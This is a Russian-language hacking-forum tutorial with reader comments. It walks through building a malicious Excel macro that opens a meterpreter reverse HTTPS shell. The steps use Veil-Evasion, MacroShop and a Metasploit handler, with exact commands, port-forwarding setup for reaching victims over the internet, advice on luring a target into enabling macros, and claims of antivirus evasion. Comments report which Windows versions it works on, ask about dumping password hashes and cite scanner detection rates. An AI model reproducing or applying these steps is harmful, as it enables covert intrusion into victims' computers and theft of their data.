Penetration Testing with Microsoft Office

Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

upload_2016-10-13_21-56-23.png


Мы будем использовать пайлоад с ID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

upload_2016-10-13_21-57-30.png


Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

upload_2016-10-13_21-58-20.png


Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

upload_2016-10-13_21-59-0.png


Именно на этот LHOST и LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

upload_2016-10-13_21-59-48.png


Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

upload_2016-10-13_22-0-20.png


Вводим имя:

upload_2016-10-13_22-0-37.png


Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

upload_2016-10-13_22-1-5.png


Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clone https://github.com/khr0x40sh/MacroShop

upload_2016-10-13_22-1-42.png


После установки, переместим файл win8.1 в директорию MacroShop.

upload_2016-10-13_22-2-12.png


Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

upload_2016-10-13_22-2-48.png


После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

upload_2016-10-13_22-3-16.png


Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

upload_2016-10-13_22-3-42.png


Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

upload_2016-10-13_22-4-11.png


В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

upload_2016-10-13_22-4-33.png


Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

upload_2016-10-13_22-4-57.png


и введем следующие команды:

> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

upload_2016-10-13_22-6-46.png


Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.
 
Проверил на Win 10 Home x32. не работает. Защитник убивает файлик с макросом. Во общем целится нужно на 7ку.
 
Нет, но протестирую, обязательно отпишусь.
Кстати Win7 + office 2003 работает. Еще заметил что например выполнить команду hashdump не возможно с таким макросом, выдает ошибку, с чем это может быть связанно?
 
  • Нравится
Реакции: Vander
Нет, но протестирую, обязательно отпишусь.
Кстати Win7 + office 2003 работает. Еще заметил что например выполнить команду hashdump не возможно с таким макросом, выдает ошибку, с чем это может быть связанно?
Попробую разобраться... интересно
 
Есть у кого сие чудо?

Основывается похоже на
 
Последнее редактирование модератором:
Круто!спасибо за статью!
 
Отличная тема! А есть что либо подобное под линуксовые машины?
 
Детект файла несливающим сканером 15/38, если все делать как тут
 
  • Нравится
Реакции: Vander
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab